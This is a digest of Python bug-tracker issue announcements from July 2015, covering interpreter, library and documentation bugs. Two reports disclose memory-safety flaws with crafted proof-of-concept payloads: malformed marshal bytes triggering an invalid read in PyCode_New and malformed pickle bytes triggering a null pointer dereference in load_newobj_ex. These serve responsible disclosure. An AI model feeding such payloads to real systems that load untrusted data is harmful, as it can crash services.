components: Installation
files: make_install_fail.PNG
messages: 246648
nosy: ronbarak
priority: normal
severity: normal
status: open
title: 'make install' fails installation of man pages for Python 2.7.10 on Unixware 7.1.4
versions: Python 2.7
Added file: http://bugs.python.org/file39912/make_install_fail.PNG

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24616>
_______________________________________

From report at bugs.python.org  Sun Jul 12 19:13:43 2015
From: report at bugs.python.org (John Jones)
Date: Sun, 12 Jul 2015 17:13:43 +0000
Subject: [New-bugs-announce] [issue24617] os.makedirs()'s [mode] not correct
Message-ID: <1436721223.66.0.229120395272.issue24617@psf.upfronthosting.co.za>


New submission from John Jones:

os.makedirs() gives the optional variable mode to set the permissions on the directories it creates.

While it seems to work for all triplet octal values (777,755,etc) it doesn't seem to work on values with the sticky bit (1777,1755,etc)

I know that to set the value as octal, you need, for some reason, to prepend a '0' to the number, such that the final value is '01755' - but even if you do int('1755',8) the error is there. Below I make a directory and then chmod it to the right value:

os.makedirs('/Users/Carolin/Desktop/demo',01703)
drwx-----x     2 Carolin  staff      68 12 Jul 18:53 demo

os.chmod('/Users/Carolin/Desktop/demo',01703)
drwx----wt     2 Carolin  staff      68 12 Jul 18:53 demo

----------
messages: 246655
nosy: John Jones
priority: normal
severity: normal
status: open
title: os.makedirs()'s [mode] not correct
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24617>
_______________________________________

From report at bugs.python.org  Sun Jul 12 19:46:46 2015
From: report at bugs.python.org (Brad Larsen)
Date: Sun, 12 Jul 2015 17:46:46 +0000
Subject: [New-bugs-announce] [issue24618] Invalid read in PyCode_New
Message-ID: <1436723206.75.0.0338800196723.issue24618@psf.upfronthosting.co.za>


New submission from Brad Larsen:

`PyCode_New` can read invalid heap memory.


File Objects/codeobject.c:

    PyCodeObject *
    PyCode_New(int argcount, int kwonlyargcount,
               int nlocals, int stacksize, int flags,
               PyObject *code, PyObject *consts, PyObject *names,
               PyObject *varnames, PyObject *freevars, PyObject *cellvars,
               PyObject *filename, PyObject *name, int firstlineno,
               PyObject *lnotab)
    {
        PyCodeObject *co;
        unsigned char *cell2arg = NULL;
        Py_ssize_t i, n_cellvars;

        // ...
    
        n_cellvars = PyTuple_GET_SIZE(cellvars);

        // ...

        /* Create mapping between cells and arguments if needed. */
        if (n_cellvars) {
            Py_ssize_t total_args = argcount + kwonlyargcount +
                ((flags & CO_VARARGS) != 0) + ((flags & CO_VARKEYWORDS) != 0); // *** 1 ***

            // ...

            /* Find cells which are also arguments. */
            for (i = 0; i < n_cellvars; i++) {
                Py_ssize_t j;
                PyObject *cell = PyTuple_GET_ITEM(cellvars, i); 
                for (j = 0; j < total_args; j++) {
                    PyObject *arg = PyTuple_GET_ITEM(varnames, j);             // *** 2 ***
                    if (!PyUnicode_Compare(cell, arg)) {                       // *** 3 ***
                        cell2arg[i] = j;
                        used_cell2arg = 1;
                        break;
                    }   
                }   
            }
            
            // ...
        }

        // ...
    }

1. `total_args` is determined from parameters that are user-controlled
   (see `r_object` in `Python/marshal.c`, in the `TYPE_CODE` case,
   lines 1265--1277).
2. the `varnames` tuple is indexed with a value in the range [0, total_args),
   which could be larger than the range of valid indexes for `varnames`.
3. `arg` is now a bogus PyObject value, and causes a segfault in
   `PyUnicode_Compare`.


Environment:

    $ python3.4 --version
    Python 3.4.2

    $ uname -a
    Linux debian-8-amd64 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) x86_64 GNU/Linux


POC:

    from marshal import load
    from io import BytesIO

    payload = b'\xe3\x01\x00\xff\x00\x00\x00\x00\xfc\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00k\x00\x00|\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x01\xda|x\xa9x\xa9\x00\xe3\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00t\x00\x00|\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x00r\x03\x00\x00\x00\xfa\x0fmk_tesTgases.py\xda\x08<lambda>\x01\x00\x00\x00s\x00\x00\x00\x00r\x03\x00\x00\x00\xfa\x0fmk_testck_te\x00)\x01\xda\x01x\xa9x\xa9\x00\xe3\x01\x00\x00\x00\x00\x00\x80\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00t\x00\x00"\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x00r\x03\x00\x00\x00\xfa\x0fmk_tMstgases\x11py\xda\x08<lambda>$\x00\x00\x12s\x00\x00\x00\x00r\x03\x00'
    load(BytesIO(payload))

----------
components: Interpreter Core
files: invalid_read.py
messages: 246658
nosy: blarsen
priority: normal
severity: normal
status: open
title: Invalid read in PyCode_New
type: crash
versions: Python 3.4
Added file: http://bugs.python.org/file39914/invalid_read.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24618>
_______________________________________

From report at bugs.python.org  Sun Jul 12 20:49:13 2015
From: report at bugs.python.org (Stefan Krah)
Date: Sun, 12 Jul 2015 18:49:13 +0000
Subject: [New-bugs-announce] [issue24619] async/await parser issues
Message-ID: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>


New submission from Stefan Krah:

If I understand the reference manual correctly, these should probably
be rejected by the compiler:

>>> async def f():
...     def g(): pass
...     async = 10
... 
>>> async def f():
...     def async():
...         pass
... 
>>> async def f(): async = 10
... 
>>> async def f():
...     def await(): pass
... 
>>> 


And this should perhaps be accepted:

>>> async def f():
...     return lambda await: await
  File "<stdin>", line 2
    return lambda await: await
                      ^
SyntaxError: invalid syntax


This, too:

>>> async def f():
...     async def g(): pass
...     await z
  File "<stdin>", line 3
    await z
          ^
SyntaxError: invalid syntax

----------
messages: 246660
nosy: gvanrossum, skrah, yselivanov
priority: normal
severity: normal
status: open
title: async/await parser issues

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24619>
_______________________________________

From report at bugs.python.org  Sun Jul 12 21:19:24 2015
From: report at bugs.python.org (Stefan Krah)
Date: Sun, 12 Jul 2015 19:19:24 +0000
Subject: [New-bugs-announce] [issue24620] Segfault with nonsensical random
	state
Message-ID: <1436728764.28.0.733775785624.issue24620@psf.upfronthosting.co.za>


New submission from Stefan Krah:

While trying to find a possible cause for #24546, I came across this
glitch:

Python 3.6.0a0 (default:02b81a82a57d, Jul 12 2015, 20:33:44) 
[GCC 4.8.4] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import random
>>> s = (3, (999999999999999,)*625, None)
>>> random.setstate(s)
>>> random.choice([1,2,3,4,5])
Segmentation fault (core dumped)

----------
messages: 246661
nosy: mark.dickinson, rhettinger, skrah
priority: normal
severity: normal
status: open
title: Segfault with nonsensical random state

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24620>
_______________________________________

From report at bugs.python.org  Sun Jul 12 21:24:01 2015
From: report at bugs.python.org (Yasar Luqman Ahmed)
Date: Sun, 12 Jul 2015 19:24:01 +0000
Subject: [New-bugs-announce] [issue24621] zipfile.BadZipFile: File is not a
	zip file
Message-ID: <1436729041.05.0.00377626127771.issue24621@psf.upfronthosting.co.za>


New submission from Yasar Luqman Ahmed:

I have a zip-file that can be opened/extracted with 7zip but gives an error when I try work with it in python:
Py2 (2.7.3 / Linux/Debian7):
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python2.7/zipfile.py", line 714, in __init__
    self._GetContents()
  File "/usr/lib/python2.7/zipfile.py", line 748, in _GetContents
    self._RealGetContents()
  File "/usr/lib/python2.7/zipfile.py", line 763, in _RealGetContents
    raise BadZipfile, "File is not a zip file"
zipfile.BadZipfile: File is not a zip file


Py3 (3.4.3 / Windows 7 /64bit):
Traceback (most recent call last):
  File "<pyshell#20>", line 1, in <module>
    badzip = ZipFile(bad)
  File "C:\Python34\lib\zipfile.py", line 937, in __init__
    self._RealGetContents()
  File "C:\Python34\lib\zipfile.py", line 978, in _RealGetContents
    raise BadZipFile("File is not a zip file")
zipfile.BadZipFile: File is not a zip file

The zip-file is attached.

----------
components: Library (Lib)
files: not_working.zip
messages: 246662
nosy: Yasar Luqman Ahmed
priority: normal
severity: normal
status: open
title: zipfile.BadZipFile: File is not a zip file
type: behavior
versions: Python 2.7, Python 3.4
Added file: http://bugs.python.org/file39915/not_working.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24621>
_______________________________________

From report at bugs.python.org  Sun Jul 12 21:29:37 2015
From: report at bugs.python.org (Stefan Krah)
Date: Sun, 12 Jul 2015 19:29:37 +0000
Subject: [New-bugs-announce] [issue24622] tokenize.py: missing
	EXACT_TOKEN_TYPES
Message-ID: <1436729377.89.0.451182448624.issue24622@psf.upfronthosting.co.za>


New submission from Stefan Krah:

ELLIPSIS and RARROW are missing in EXACT_TOKEN_TYPES. Patch attached.

----------
files: tokenize.diff
keywords: patch
messages: 246663
nosy: meador.inge, skrah
priority: normal
severity: normal
status: open
title: tokenize.py: missing EXACT_TOKEN_TYPES
Added file: http://bugs.python.org/file39916/tokenize.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24622>
_______________________________________

From report at bugs.python.org  Sun Jul 12 21:41:18 2015
From: report at bugs.python.org (Stefan Krah)
Date: Sun, 12 Jul 2015 19:41:18 +0000
Subject: [New-bugs-announce] [issue24623] Parser: broken line numbers for
	triple-quoted strings
Message-ID: <1436730078.84.0.940151456611.issue24623@psf.upfronthosting.co.za>


New submission from Stefan Krah:

IMO the string should start at lineno=1, col_offset=0.


$ ./python 
Python 3.6.0a0 (default:02b81a82a57d, Jul 12 2015, 20:33:44) 
[GCC 4.8.4] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import ast
>>> a = ast.parse('''"""xxx
... yyy
... zzz"""''')
>>> ast.dump(a, include_attributes=True)
"Module(body=[Expr(value=Str(s='xxx\\nyyy\\nzzz', lineno=3, col_offset=-1), lineno=3, col_offset=-1)])"

----------
messages: 246665
nosy: skrah
priority: normal
severity: normal
status: open
title: Parser: broken line numbers for triple-quoted strings

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24623>
_______________________________________

From report at bugs.python.org  Mon Jul 13 03:37:26 2015
From: report at bugs.python.org (Neil Girdhar)
Date: Mon, 13 Jul 2015 01:37:26 +0000
Subject: [New-bugs-announce] [issue24624] Itertools documentation says
 iterator when iterable is intended
Message-ID: <1436751446.36.0.0536875668561.issue24624@psf.upfronthosting.co.za>


New submission from Neil Girdhar:

In the description of the consume recipe:

def consume(iterator, n):
    "Advance the iterator n-steps ahead. If n is none, consume entirely."
    # Use functions that consume iterators at C speed.
    if n is None:
        # feed the entire iterator into a zero-length deque
        collections.deque(iterator, maxlen=0)
    else:
        # advance to the empty slice starting at position n
        next(islice(iterator, n, n), None)

iterator should be replaced with iterable.  This function accepts strings for example, which are not iterators.

----------
assignee: docs at python
components: Documentation
messages: 246676
nosy: docs at python, neil.g
priority: normal
severity: normal
status: open
title: Itertools documentation says iterator when iterable is intended
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24624>
_______________________________________

From report at bugs.python.org  Mon Jul 13 04:19:16 2015
From: report at bugs.python.org (=?utf-8?b?7KeE66qo7JSo?=)
Date: Mon, 13 Jul 2015 02:19:16 +0000
Subject: [New-bugs-announce] [issue24625] py.exe executes #! in windows
Message-ID: <1436753956.21.0.226247019146.issue24625@psf.upfronthosting.co.za>


New submission from ???:

Well. A program linked to .py extension in windows (called py.exe) parses hashbang line(#!) and tries to execute program.

So hashbang like this:
#!/bin/env python
doesn't works, and
#!calc
executes calculator. I guess it is bug.

----------
components: Windows
messages: 246679
nosy: paul.moore, steve.dower, tim.golden, zach.ware, ???
priority: normal
severity: normal
status: open
title: py.exe executes #! in windows
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24625>
_______________________________________

From report at bugs.python.org  Mon Jul 13 05:19:08 2015
From: report at bugs.python.org (hiroaki itoh)
Date: Mon, 13 Jul 2015 03:19:08 +0000
Subject: [New-bugs-announce] [issue24626] please sync cgi.parse document
Message-ID: <1436757548.2.0.774685113457.issue24626@psf.upfronthosting.co.za>


New submission from hiroaki itoh:

https://docs.python.org/2/library/cgi.html#cgi.parse
  (the file defaults to ``sys.stdin`` and environment
   defaults to ``os.environ``)
https://docs.python.org/3/library/cgi.html#cgi.parse
  (the file defaults to ``sys.stdin``)

maby this fix had applied only to python2 branch, so please update to py3 also.

----------
assignee: docs at python
components: Documentation
messages: 246680
nosy: docs at python, xwhhsprings
priority: normal
severity: normal
status: open
title: please sync cgi.parse document
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24626>
_______________________________________

From report at bugs.python.org  Mon Jul 13 06:20:57 2015
From: report at bugs.python.org (Luke Jang)
Date: Mon, 13 Jul 2015 04:20:57 +0000
Subject: [New-bugs-announce] [issue24627] Import bsddb result in error on OS
	X (Python 2.7.10)
Message-ID: <1436761257.51.0.817115571283.issue24627@psf.upfronthosting.co.za>


New submission from Luke Jang:

As title. I installed Python using brew.

$ python 
Python 2.7.10 (default, Jul  9 2015, 13:34:07) 
[GCC 4.2.1 Compatible Apple LLVM 6.1.0 (clang-602.0.53)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import bsddb
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/Cellar/python/2.7.10_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7/bsddb/__init__.py", line 67, in <module>
    import _bsddb
ImportError: No module named _bsddb
>>>

----------
components: Library (Lib)
messages: 246682
nosy: Luke Jang
priority: normal
severity: normal
status: open
title: Import bsddb result in error on OS X (Python 2.7.10)
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24627>
_______________________________________

From report at bugs.python.org  Tue Jul 14 00:06:59 2015
From: report at bugs.python.org (Travis)
Date: Mon, 13 Jul 2015 22:06:59 +0000
Subject: [New-bugs-announce] [issue24628] load_workbook giving ValueError:
 invalid literal for int()
Message-ID: <1436825219.55.0.792231218098.issue24628@psf.upfronthosting.co.za>


New submission from Travis:

This code works fine with all my workbooks except the one with a heavier amount of data. Please let me know if you want the excel file I am trying to open with this code.

----------
components: IDLE, IO, Installation, Interpreter Core, Library (Lib), Macintosh
files: Test2.py
messages: 246701
nosy: ned.deily, ronaldoussoren, traviswilcox
priority: normal
severity: normal
status: open
title: load_workbook giving ValueError: invalid literal for int()
type: compile error
versions: Python 2.7
Added file: http://bugs.python.org/file39920/Test2.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24628>
_______________________________________

From report at bugs.python.org  Tue Jul 14 01:35:03 2015
From: report at bugs.python.org (Robert Collins)
Date: Mon, 13 Jul 2015 23:35:03 +0000
Subject: [New-bugs-announce] [issue24629] unittest.main shadows
	unittest.main module
Message-ID: <1436830503.73.0.11092302384.issue24629@psf.upfronthosting.co.za>


New submission from Robert Collins:

this is a bad practice - it interferes with test discovery and with the use of mock (see https://github.com/testing-cabal/mock/issues/250).

We could move main.py to mainmod.py or something

----------
messages: 246704
nosy: rbcollins
priority: normal
severity: normal
status: open
title: unittest.main shadows unittest.main module

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24629>
_______________________________________

From report at bugs.python.org  Tue Jul 14 04:16:18 2015
From: report at bugs.python.org (Brad Larsen)
Date: Tue, 14 Jul 2015 02:16:18 +0000
Subject: [New-bugs-announce] [issue24630] null pointer dereference in
	`load_newobj_ex`
Message-ID: <1436840178.63.0.757852157332.issue24630@psf.upfronthosting.co.za>


New submission from Brad Larsen:

`load_newobj_ex` in can crash with a null pointer dereference.


File Modules/_pickle.c:

    static int
    load_newobj_ex(UnpicklerObject *self)
    {
        PyObject *cls, *args, *kwargs;
        PyObject *obj;
        PickleState *st = _Pickle_GetGlobalState();

        // ...

        PDATA_POP(self->stack, cls);                              // *** 1 ***
        if (cls == NULL) {
            Py_DECREF(kwargs);
            Py_DECREF(args);
            return -1;
        }    
    
        if (!PyType_Check(cls)) {                                 // *** 2 ***
            Py_DECREF(kwargs);
            Py_DECREF(args);
            Py_DECREF(cls);
            PyErr_Format(st->UnpicklingError,
                         "NEWOBJ_EX class argument must be a type, not %.200s",
                         Py_TYPE(cls)->tp_name);                  // *** 3 ***
            return -1;
        }

        // ...
    }

1. `cls` is successfully unpickled, but has an ob_type field set to 0
2. `cls` is determined not to be a `PyType` object
3. `Py_TYPE(cls)` gives a null pointer that is dereferenced via `->tp_name`


Environment:

    $ python3.4 --version
    Python 3.4.2

    $ uname -a
    Linux debian-8-amd64 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) x86_64 GNU/Linux


POC:

    from io import BytesIO
    from pickle import load
    
    payload = b']\x8f\x8f\x8f\x8f\x8f\x8f\x8f\x8fGGbG\x10GGGGGGG?GGGGGGG:gGGGGB(GRGGGGUGGGGGGhZGGGJGGGGGGGGGTGGGGGCGGGGGGGGgGG7GB(GRGGGGvGGGGG\xff\xff\x00\x00GGJGGGGGGGGGTGCCCCCCCCCCCCCCCCCCCCCCCC<GGGGGGZCCCCCCGGGGCGGGG\x00GGG\xff\xffdGG hGGGGGGG\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85CCCCCCCCCCCCCCCCCCCCCC\x85\x91\x85\x85\x85\x85CCCC\xccCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<GGGG\x92\x92\x92\x92\x04\x00\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92CCCCCCCCCCCC<GGGGGGCCC\x03\xe8CCCCCeCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC_CTCCCCCCCCCCCCCCCCCCCCCCCCRCCCCCCCCCCCCCCCCCCCGCCCCCC<GGGGGGCCCCCCCCCCCC\x80\x00CCCCCCCCC\x00\x80\x00\x00$CCCCCCCCCC,CCCC"CCCCCCCCCCCCCCCCCCCCCCCCGGGGGGGGCCCCCCCC\x00\x80\x00\x00$CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC hGGGCCCCCCCQCGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCPCACCCCCCCCCCCCCCCCCCCCCCCcCCKCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC hGGGGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<GGGGGGCCCCCC\xa7\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85CCC$CCCCCCCCCCCCCCCCCCCCCCCC_CCCCCCCCCCCCCCCCCCCCCCCCCCC at CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<GGGGGGZCCCCCCCCCCCCKCCCCCCGGGGGGGGG?GGGGGGGGgGGGGG\xeb\xeb\xebCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCQCGCCCcCCCCCCCCCC at CCCCCCCCCCCCCCC@CCCCCCCCCCCCCCCCC\x10\x00\x7fCCCCCGCC\x10\x00\x00\x00CCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCC_CCCCCCCCCCCCCCCCCCCCCCCCCCCCCACCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCFCCCCCCCCCCCCCCCCCCCCCCCC\x00\x00\x00\x80CCCCCC\x85\x85\x85\x85\x85\x91\x85\x85b\x85\x85\x85\x85\x85\x85G\x00GhGGGGGGGGGGGG?GGFGGGGGgGGGGG\xeb\xeb\xeb\xeb\xeb\xeb\xeb\xeb'
    load(BytesIO(payload))

----------
components: Extension Modules
files: bug.py
messages: 246710
nosy: blarsen
priority: normal
severity: normal
status: open
title: null pointer dereference in `load_newobj_ex`
type: crash
versions: Python 3.4
Added file: http://bugs.python.org/file39921/bug.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24630>
_______________________________________

From report at bugs.python.org  Tue Jul 14 07:10:51 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 14 Jul 2015 05:10:51 +0000
Subject: [New-bugs-announce] [issue24631] Regression in timeit with
	multyline setup
Message-ID: <1436850651.25.0.287114682674.issue24631@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Issue5633 introduced a regression in 3.5.

$ ./python -m timeit -s "a = 1" -s "b = 2"
Traceback (most recent call last):
  File "/home/serhiy/py/cpython-3.5/Lib/runpy.py", line 170, in _run_module_as_main
    "__main__", mod_spec)
  File "/home/serhiy/py/cpython-3.5/Lib/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/home/serhiy/py/cpython-3.5/Lib/timeit.py", line 338, in <module>
    sys.exit(main())
  File "/home/serhiy/py/cpython-3.5/Lib/timeit.py", line 296, in main
    t = Timer(stmt, setup, timer)
  File "/home/serhiy/py/cpython-3.5/Lib/timeit.py", line 122, in __init__
    compile(setup + '\n' + stmt, dummy_src_name, "exec")
  File "<timeit-src>", line 2
    b = 2
    ^
IndentationError: unexpected indent

Proposed patch fixes it.

----------
assignee: serhiy.storchaka
components: Library (Lib)
messages: 246717
nosy: serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Regression in timeit with multyline setup
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24631>
_______________________________________

From report at bugs.python.org  Tue Jul 14 08:54:01 2015
From: report at bugs.python.org (Ezio Melotti)
Date: Tue, 14 Jul 2015 06:54:01 +0000
Subject: [New-bugs-announce] [issue24632] Improve documentation about
	__main__.py
Message-ID: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za>


New submission from Ezio Melotti:

__main__.py seems to only be mentioned briefly in a couple of places in the official docs:
1) https://docs.python.org/3/library/__main__.html
2) https://docs.python.org/3/using/cmdline.html#cmdoption-m

The first link only says:
"""For a package, the same effect can be achieved by including a __main__.py module, the contents of which will be executed when the module is run with -m."""

("-m" should actually use :option:`-m` to automatically link to the second URL.)

The second link mentions __main__.py in two sentences:
"""Execute the Python code contained in script, which must be a filesystem path (absolute or relative) referring to either a Python file, a directory containing a __main__.py file, or a zipfile containing a __main__.py file."""

"""If the script name refers to a directory or zipfile, the script name is added to the start of sys.path and the __main__.py file in that location is executed as the __main__ module."""

I think it would be better to expand the first link to state clearly what is __main__.py and what is its purpose.  In addition, the section should clarify a few more things, e.g. when it should be used, what it should contain, if it's ok to have other __main__.py in the subpackages (e.g. test/__main__.py to run the tests with python -m package.test), how it interacts __init__.py (which one is executed first?).
Perhaps it should also get a glossary entry and/or a short mention in the tutorial together with zip imports.

In addition to the two links above, a Google search returns the stackoverflow question "What is __main__.py?" as first result, and a couple more related questions that could/should be answered by our docs.

----------
assignee: docs at python
components: Documentation
messages: 246719
nosy: docs at python, ethan.furman, ezio.melotti, nedbat
priority: normal
severity: normal
stage: needs patch
status: open
title: Improve documentation about __main__.py
type: enhancement
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24632>
_______________________________________

From report at bugs.python.org  Tue Jul 14 10:07:26 2015
From: report at bugs.python.org (=?utf-8?q?S=C3=A9bastien_Celles?=)
Date: Tue, 14 Jul 2015 08:07:26 +0000
Subject: [New-bugs-announce] [issue24633] Not a directory:
 '//anaconda/lib/python2.7/site-packages/readme/__about__.py'
Message-ID: <1436861246.12.0.158910992978.issue24633@psf.upfronthosting.co.za>


New submission from S?bastien Celles:

Hello,

the package name "readme" conflicts with Python installed site-packages/README file on case-insensitive filesystems (Mac OS X).

https://github.com/pypa/readme/issues/26
https://github.com/mgedmin/restview/issues/30
https://groups.google.com/a/continuum.io/forum/#!topic/anaconda/AGHXzB1sN0I

I wonder if README file should be be renamed README.rst or README.txt or README.md to avoid this issue or if readme package should be renamed.

Kind regards

----------
components: Macintosh
messages: 246721
nosy: S?bastien Celles, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Not a directory: '//anaconda/lib/python2.7/site-packages/readme/__about__.py'
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24633>
_______________________________________

From report at bugs.python.org  Tue Jul 14 22:24:04 2015
From: report at bugs.python.org (Steve Dower)
Date: Tue, 14 Jul 2015 20:24:04 +0000
Subject: [New-bugs-announce] [issue24634] Importing uuid should not try to
	load libc on Windows
Message-ID: <1436905444.93.0.906882057092.issue24634@psf.upfronthosting.co.za>


New submission from Steve Dower:

Lib/uuid.py includes the following code that runs on import:

    import ctypes, ctypes.util

    # The uuid_generate_* routines are provided by libuuid on at least
    # Linux and FreeBSD, and provided by libc on Mac OS X.
    for libname in ['uuid', 'c']:
        try:
            lib = ctypes.CDLL(ctypes.util.find_library(libname))
        except Exception:
            continue
        if hasattr(lib, 'uuid_generate_random'):
            _uuid_generate_random = lib.uuid_generate_random
        if hasattr(lib, 'uuid_generate_time'):
            _uuid_generate_time = lib.uuid_generate_time
            if _uuid_generate_random is not None:
                break  # found everything we were looking for

This code can cause issues on Windows when loading the CRT outside of an activation context (2.7) or in one case crashed Python 3.4 on a server (unfortunately I couldn't get access to the error logs - but I guessed that this section was responsible and turned out it was).

I propose adding a sys.platform check before running this code, to omit it on any platform starting with 'win' (patch to follow). I believe this should apply to all current versions of Python.

It is possible that someone has added their own "uuid.dll" to the DLL search path and is relying on that being found by uuid.py. I consider that unlikely and unsupported, but if people think that's a valid concern I can rework the patch to attempt to load uuid.dll but not the CRT on Windows.

----------
assignee: steve.dower
components: Windows
messages: 246740
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Importing uuid should not try to load libc on Windows
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24634>
_______________________________________

From report at bugs.python.org  Wed Jul 15 03:34:05 2015
From: report at bugs.python.org (R. David Murray)
Date: Wed, 15 Jul 2015 01:34:05 +0000
Subject: [New-bugs-announce] [issue24635] test_typing is flaky
Message-ID: <1436924045.27.0.387044794067.issue24635@psf.upfronthosting.co.za>


New submission from R. David Murray:

See for example:

http://buildbot.python.org/all/builders/AMD64%20Windows8.1%20Non-Debug%203.x/builds/106

It might be a test order dependency, but see

http://buildbot.python.org/all/builders/x86%20Ubuntu%20Shared%203.x/builds/11931

where the test passed when re-run at the end.

I'm making this a release blocker because it would be pretty sad to ship a new feature with a flaky test.  Larry can of course overrule me on that :)

I note that no one is yet listed as the subject expert for the typing module.  I've at least added a line for the module to experts.rst.

----------
components: Tests
messages: 246750
nosy: Guido.van.Rossum, r.david.murray
priority: release blocker
severity: normal
stage: needs patch
status: open
title: test_typing is flaky
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24635>
_______________________________________

From report at bugs.python.org  Wed Jul 15 12:13:24 2015
From: report at bugs.python.org (Almer Tigelaar)
Date: Wed, 15 Jul 2015 10:13:24 +0000
Subject: [New-bugs-announce] [issue24636] re.search not respecting anchor
 markers in or-ed construction
Message-ID: <1436955204.19.0.984785735943.issue24636@psf.upfronthosting.co.za>


New submission from Almer Tigelaar:

>From the documentation ^ should restrict the matching of re.search to the beginning of the string, as mentioned here: https://docs.python.org/3.4/library/re.html#search-vs-match

However, this doesn't always seem to work as the following example shows:

re.search("^([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9]:[0-5][0-9]\\.[0-9]+)|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9]:[0-5][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9])|([0-9]{4}-[01][0-9])|([0-9]{4})$", "2015-AE-02T10:16:08.450904")

This should not match since the expression uses or-ed patterns between anchors ^ and $. Based on the "AE" this should not return a match, yet it returns one from positions 22 to 26, based on the last pattern in the or-red sequence of patterns: ([0-9]{4})

This can be worked around by explicitly including the anchor markers in the last pattern as follows:

re.search("^([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9]:[0-5][0-9]\\.[0-9]+)|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9]:[0-5][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9])|([0-9]{4}-[01][0-9])|(^[0-9]{4}$)$", "2015-AE-02T10:16:08.450904")

